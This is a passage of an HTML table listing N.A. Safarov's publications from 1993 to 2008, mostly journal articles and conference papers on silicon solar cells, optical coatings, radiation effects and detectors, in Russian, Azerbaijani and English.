в кремниевых солнечных элементах с просветляющими слоями</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Safarov N.A.</p><p>Сафарова Ф.Д.</p></td><td width=\"102\"><p>Баку, БГУ<strong>&nbsp;</strong></p></td><td width=\"60\"><p>1993<strong>&nbsp;</strong></p></td><td width=\"60\"><p>часть 11, с.126</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с двусторонней чувствительностью</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Сафарова Ф.Д.</p><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>Баку, БГУ<strong>&nbsp;</strong></p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>часть 11, с.125</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Optik örtüklü silisium günəş elementlərində fotovolt və radiasiya effektləri</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Abdullayev H.B.</p><p>Bəkirov M.Y. Safarov N.A.</p><p>Əhmədov Q.M.</p></td><td width=\"102\"><h2>Azərbaycan EA, Xəbərlər</h2></td><td width=\"60\"><p><strong>1993</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>№3-4,&nbsp;</strong><strong>cild&nbsp;</strong><strong>Х1</strong><strong>V</strong><strong>,</strong><strong>&nbsp;səh..</strong><strong>.3-4</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Некоторые особенности кремниевых солнечных&nbsp; элементов с двусторонней&nbsp; чувствительностью</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Абдуллаев Г.Б., Бакиров М.Я.,</p><p>Safarov N.A.</p><p>Сафарова Ф.Д.</p></td><td width=\"102\"><h2>Гелиотехника</h2><h2>&nbsp;</h2></td><td width=\"60\"><p><strong>1993,</strong></p></td><td width=\"60\"><p><strong>№6</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с просветляющими слоями Nd<sub>2</sub>О<sub>3</sub>&nbsp;и&nbsp; ZnS+ Nd<sub>2</sub>О<sub>3</sub></p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Абдуллаев Г.Б. Бакиров М.Я. Safarov N.A.</p><p>Ахмедов Г.М.</p></td><td width=\"102\"><h2>Гелиотехника</h2></td><td width=\"60\"><p><strong>1994</strong></p></td><td width=\"60\"><h2>№1,</h2><p><strong>с.14-16</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние направление электронного пучка на скорость деградации параметров кремниевых солнечных элементов</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Бакиров М.Я., Ахмедов Г.М.,</p><p>Сафарова Ф.Д.</p><p>Джафарова Э.А.</p><p>Safarov N.A.</p><p>&nbsp;</p></td><td width=\"102\"><p>Гелиотехника,</p></td><td width=\"60\"><p>1994</p></td><td width=\"60\"><p>№6, 34-36</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of the effect of fast electrons on SiO<sub>2</sub>&nbsp;used in silicon solar cells</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Abdullaev G.B.</p><p>Bakirov M.Y.</p><p>Safarov N.A.</p><p>Safarova F.D.</p></td><td width=\"102\"><p>Applied solar energy</p></td><td width=\"60\"><p>1994<strong>&nbsp;</strong></p></td><td width=\"60\"><p>vol 30; №3, p.11-13<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотоэлектрические и радиационные характеристики кремниевых фотопреобразователей с двусторонней чувствительностью</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>. Safarov N.A</p><p>Сафарова Ф.Д. Ахмедов Г.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№2, с.86-91</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Просветляющие покрытия из Nd<sub>2</sub>О<sub>3&nbsp;</sub>для кремниевых фотопреобразователей</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Mədətov R.S. N.A. Safarov</p><p>Qasımova V.Q.<strong>&nbsp;</strong></p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>&nbsp;2001</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Visual Analysis and Management of physiological emotional condition using Multimedia Systems</p></td><td width=\"91\"><p>International Workshop</p></td><td width=\"95\"><p>Axmedov R.,</p><p>Safarov N.A.</p><p>Talibov S.</p></td><td width=\"102\"><p>Graz, Austria</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>http://www/icg.tu-graz.ac.at</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Поверхностные эффекты в кремниевых солнечных элементах</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Мадатов Р.С.,</p><p>Safarov N.A.</p><p>Ахмедов Г.М.</p></td><td width=\"102\"><p>Baku-Azerbaijan,<strong>&nbsp;</strong></p></td><td width=\"60\"><p>2002<strong>&nbsp;</strong></p></td><td width=\"60\"><p>s. 439-441<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Günəş batareyalarının maya dəyəri və bu dəyərə uyğun xidmət müddəti<strong>&nbsp;</strong></p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Cəfərova E.Ə.&nbsp; Tapdıqov E.S.. Safarov N.A</p><p>Əlixanova Ş.Ə.</p></td><td width=\"102\"><p>Baku-Azerbaijan,<strong>&nbsp;</strong></p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>s.100 -101</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Azərbaycan iqlim bölgələri və sahələri üzrə günəş fotoelektrik qurğularının enerji hasilatı hesabatının metodikası və nəticəsi<strong>&nbsp;</strong></p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Həşimov A.M.</p><p>&nbsp;Safarov N.A</p><p>Mədətov R.S.</p><p>Əhmədov Q.M.<strong>&nbsp;</strong></p></td><td width=\"102\"><p>Energetikanın problemləri</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>2003,</strong></p></td><td width=\"60\"><h2>№1,</h2><p>s.20 -27</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Influence of radiation on photo-electric characteristics of&nbsp; silicon photo cells with optical coverings</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Madatov R.S.,</p><p>Gasumova V.G., Safarov N.A.</p><p>Allahverdiev A.M.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Алматы, Республика Казахстан</strong></p></td><td width=\"60\"><p><strong>2003</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>р.195-196</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>The influences of the surface effects on the mechanisms of the current passage in the silicon photoelements with&nbsp; optical coverings</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Madatov R.S.,</p><p>Gasumova V.G.,</p><p>Safarov N.A.</p><p>Akhmedov G.M.</p></td><td width=\"102\"><h2>Fizika</h2></td><td width=\"60\"><p><strong>2003</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><h2>№2,</h2><p>p.15-17</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Dəri impedansına görə elektrostimulyatorun avtomatik qoşulma sistemi<strong>&nbsp;</strong></p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Safarov N.A.</p><p>Əmirov Ş.Ş.</p><p>Axundova F.A.<strong>&nbsp;</strong></p></td><td width=\"102\"><p>Fizika</p></td><td width=\"60\"><p>2004<strong>&nbsp;</strong></p></td><td width=\"60\"><p>C. Х &nbsp;№1,2,s.40-42<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Структурные изменение SiO<sub>2</sub>используемые в многослойных кремниевых солнечных элементах</p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>N.A. Safarov</p><p>В. Д. Шукурова</p></td><td width=\"102\"><p><strong>Экоэнергетика</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"60\"><p><strong>№2,&nbsp; ,&nbsp; с. 26-27</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Short-wave photosensivity&nbsp; in the irradiated silicon photoconverters with optical coverings</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Madatov R.C.</p><p>Gasumova B.G.</p><p>Safarov N.A.</p><p>Ahmedov G.M.</p><p>Rzaeva M.P.</p></td><td width=\"102\"><p>Tabriz-Iran<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>p.810-812<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Using magnetic field in cooling systems of solar photoelectric sets</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Hashimov A.M.</p><p>Hassanov H.G.</p><p>Safarov N.A.</p><p>Tabatabaei Naser M.</p><p>N.Samsunchi</p></td><td width=\"102\"><p>Tabriz-Iran<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>p.779-780<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>New cationo-active oligomeric electrolytes based on epichlorohydrin and amines</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Ahmadova G.A.</p><p>Asadov Z.H.</p><p>Isayeva M.Z.</p><p>Aliyeva G.S.</p><p>Safarov N.A.</p><p>&nbsp;</p></td><td width=\"102\"><p>Kars, Turkey<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>p.1061<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О возможности использования магнитного поля в охлаждающих системах&nbsp; солнечных фотоэлектрических установок</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>А.М.Гашимов</p><p>N.A. Safarov</p><p>Х.Г.Гасанов</p></td><td width=\"102\"><p>Тобольск, Russian<strong></strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"60\"><p>Часть1, с.237-239<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Особенности применения фотоэлектрических установок в горных условиях Азербайджана</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>А.М.Гашимов</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Тобольск, Russian<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>Часть1, с. 234-236<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A new&nbsp; low-noise avalanche photodiode with micro-pixel structure</p></td><td width=\"91\"><p>Journal articles<strong></strong></p></td><td width=\"95\"><p>Alekperov O.</p><p>Jafarov E.</p><p>Sadygov Z.</p><p>N.A. Safarov</p><p>Suleimanov M.</p><p>Madatov R.</p><p>Musaev M.</p></td><td width=\"102\"><h2>Fizika, &nbsp;</h2><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>2004</strong><strong></strong></p></td><td width=\"60\"><p><strong>C.</strong><strong>&nbsp;Х&nbsp; №4,&nbsp;&nbsp;</strong><strong>s</strong><strong>.126-127</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Коротковолновая фоточувствительность в облученных кремниевых фотопреобразователях с оптическими покрытиями</p></td><td width=\"91\"><p>Journal articles<strong></strong></p></td><td width=\"95\"><p>Р.С. Мадатов,</p><p>N.A. Safarov</p><p>В.Г. Гасумова,</p><p>Г.М. Ахмедов</p></td><td width=\"102\"><p>АМЕА Xəbərləri<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>№5, s.51<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Elektrik dövrəsinin avtomatik idarə qurğusu</p></td><td width=\"91\"><p>Patent.</p><p>&nbsp;</p></td><td width=\"95\"><p>N.A. Safarov</p><p>Cəfərova E.Ə.</p><p>Mədətov R.S.</p><p>Əhmədov Q.M.</p><p>&nbsp;</p></td><td width=\"102\"><p>I 2005 0059</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"60\"><p><strong>№ а20030081, 25. 04.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Computer network,&nbsp; gathering and analysis of ecoenergetic parameters of&nbsp; Azerbaijan Republic</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Aliev F.G.</p><p>N.A. Safarov</p><p>Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp; Azerbaijan,<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 202-206&nbsp;&nbsp;<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние температурной обработки на генерационное время жизни носителей в детекторах ядерных частиц на основе высокоомного кремния</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Джафарова Э.А.</p><p>N.A. Safarov</p><p>Тапдыгов Э. С.</p><p>Искендерзаде З.А.</p><p>Алиханова Ш. А.</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 827-829<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Исследование кремниевых текстурированных фотопреобразователей для оптимизации параметров при концентрированных потоках излучения</p></td><td width=\"91\"><p>Journal articles<strong></strong></p></td><td width=\"95\"><p>Я.Ю. Гусейнов</p><p>N.A. Safarov</p><p>В.Д. Шукюрова<strong></strong></p></td><td width=\"102\"><p><strong>Elmi Xəbərlər Sumqayıt ,</strong><strong></strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"60\"><p><strong>c.</strong><strong>&nbsp;5,&nbsp;</strong><strong>№3,&nbsp;</strong><strong>s.</strong><strong>7-10</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic solar energy converters on the basis A<sup>V</sup>B<sup>VI</sup>.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A. Bayramov,</p><p>N.A. Safarov</p><p>A. Hashimov,</p><p>G. Akhmedov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Waikoloa</strong><strong>, Hawaii, USA</strong><strong>.</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>v.1,pp.651-654. ISBN: 1-4244-0017-1,Digital Object Identifier: 10.1109/WCPEC.2006.279539</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Monitoring of intensity of electromagnetic radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>E.M.Rzazadeh N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.687-689</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Serial resistance of the solar converter on the basis of silicon working at the concentrated radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Z.Ya.Sadygov</p><p>E.A.Dzhafarova</p><p>E.S.Taptygov</p><p>Z.A.Iskenderzad N.A. Safarov</p><p>V.D.Shukurova</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.1070-1071</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A solar power plant with a high performance solar cells and thin concentrators made of aluminium-backed epoxy coated polymers</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.A. Safarov</p><p>A.M.Hashimov</p><p>F.J.Safarova</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.1037-1039</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A solar power plant with a high performance solar cells and thin concentrators</p><p>&nbsp;</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov</p><p>A.A.Bayramov</p><p>A.M.Hashimov</p></td><td width=\"102\"><p>Makuhari Messe Chiba, Japan<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>sr043H00094.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Matrix composite sensor for measurement mere stream</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Bayramov A.A. N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Fizika<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>C. ХII &nbsp;№1-2, &nbsp;s..38-40<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic converters on the basis AVBVI for high concentration solar applicantions</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p><em>A.A.Bayramov, G.M.Akhmedov,</em>N.A. Safarov</p><p><em>V.D.Shukurova</em></p></td><td width=\"102\"><p><strong>Alternative Energy and Ecology</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>№5 (37) pp.85-87.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Measurement heat stream in mere by the matrix sensor</p><p>&nbsp;</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A. Bayramov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Klaipeda, Lithuania</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>4F, #147</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Konsentrə olunmuş günəş şüalanmasının termofotovoltaik çeviriciləri</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Y.Y.Hüseynov</p><p>N.A. Safarov</p><p>V.D.Şükürova</p><p>Q.M.Əhmədov</p></td><td width=\"102\"><p>Elmi Xəbərlər, Sumqayıt</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>c. 6, , №4, s.15-19</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Çoxlaylı və səthi teksturə edilmiş silisium günəş elementlərinin fotohəssaslığı</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Y.Y.Hüseynov</p><p>N.A. Safarov</p><p>V.D.Şükürova</p></td><td width=\"102\"><p><strong>Bakı Universitetinin Xəbərləri</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>№2, səh.163-172</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Gamma radiation detectors on the base CdTe for environmental monitoring</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>pp. 189-190<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Maili düşən xətti polyarizə olunmuş şüalanmada çoxlaylı silisium günəş elementlərində fotopleoxroizm</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Y.Y.Hüseynov</p><p>N.A. Safarov</p><p>V.D.Şükürova</p></td><td width=\"102\"><p>Azərbaycan Texniki Universiteti, Elmi əsərlər,<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>cild V(19), , №3, s.15-18<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Экспериментальное исследование термостойкости оптических материалов в концентрированных солнечных элементах</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Я.Ю. Гусейнов</p><p>N.A. Safarov</p><p>В.Д. Шукюрова</p></td><td width=\"102\"><p><strong>Elmi Xəbərlər</strong><strong>,</strong><strong>Sumqayıt Dövlət Universiteti</strong><strong></strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>c.</strong><strong>&nbsp;6, , №2,&nbsp;</strong><strong>s.8</strong><strong>-10</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic solar energy converters on the basis AVBVI</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov, N.A. Safarov</p><p>A.M.Hashimov, G.M.Akhmedov.</p></td><td width=\"102\"><p>Dresden<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>1AV.2.90,<strong>&nbsp;</strong>#2015.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Matrix sensor of stream on the bases of composite materials</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>ICCES</p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>vol.1, no.1, pp.1-5<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые фотоэлектрические преобразователи для солнечных модулей с концентратором.</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>З.Я.Садыгов</p><p>N.A. Safarov</p><p>Э.А.Джафарова</p><p>Э.С.Таптыгов</p></td><td width=\"102\"><p>Fizika<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>C. ХIII &nbsp;№4, &nbsp;s..168-170<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic properties &nbsp;of Bi<sub>2</sub>Te<sub>3</sub>and Bi<sub>2</sub>Se<sub>3</sub></p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov, N.A. Safarov</p><p>G.M.AkhmedovS.M.Bayramova.</p></td><td width=\"102\"><p>J. Physics NAS<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>v.XIII, #4, pp.156-158.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Electric and luminescent properties of&nbsp; \"radiation detection materials\" CdTe: Cl.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>D.V. Korbutyak, Yu.I. Ivonyak, N.D.Vakhnyak,</p><p>N.A. Safarov</p><p>D.I. Tsutsura,</p><p>V.D. Popovych, V.B.Brytan, A.A.Bayramov, M.K.Zaidi</p></td><td width=\"102\"><p>Baku<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>p.283-286.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотоэлектрические преобразователи на основе нанокомпозитных полупроводниковых полимеров</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>А.А. Байрамов</p><p>N.A. Safarov</p><p>Н.Н. Мурсакулов</p><p>Х.М. Мамедова</p><p>Б.А. Мамедов</p><p>И.Д. Ахмедов</p></td><td width=\"102\"><p>Kimya problemləri&nbsp;<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>№4, s..751-753<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of photogeneration processes in semiconductive polymers</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.A. Safarov</p><p>N.N.Mursakulov</p><p>H.M.Mamedova</p><p>B.A.Mamedov</p></td><td width=\"102\"><p>J. Physics NAS,<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p>v.XIV, #1, pp.10-13.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Automatic photoelectric device for most optimum illumination of objects</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>ICCES<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p>vol.086, no.1, pp.1-6<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hybrid organic – silicon nano-composite devises and risk assessment of&nbsp; nanobiotechnologies</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>NATO&nbsp; ARW Abstracts Book.Saint-Petersburg, Russia<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Photogeneration processes in semiconductive polymeric gamma detectors</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.N.Mursakulov</p><p>N.A. Safarov</p><p>N.N. Abdulzade</p></td><td width=\"102\"><p>Ankara, Turkey<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Synthesis of quantum dots and mesoporouse of TiO for solar cells</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.A. Safarov</p><p>N.N.Mursakulov</p><p>H.M.Mamedova</p><p>&nbsp;</p></td><td width=\"102\"><p>J. Physics NAS<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p>v.XIV, #3, pp.154-157.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Günəş konsentratoru</p></td><td width=\"91\"><p>Patent</p></td><td width=\"95\"><p>N.A. Safarov</p><p>A.A.Bayramov</p><p>А.А.Həşimov</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>N</p><p>0041, 07.03.2008</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Heliostat sahəli günəş fotoelektrik stansiyasının ümumi maya dəyəri haqqında</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A. Safarov</p><p>E.M.Rzazadə</p><p>İ.Q.Əliyev</p></td><td width=\"102\"><p>Fizika</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>C. 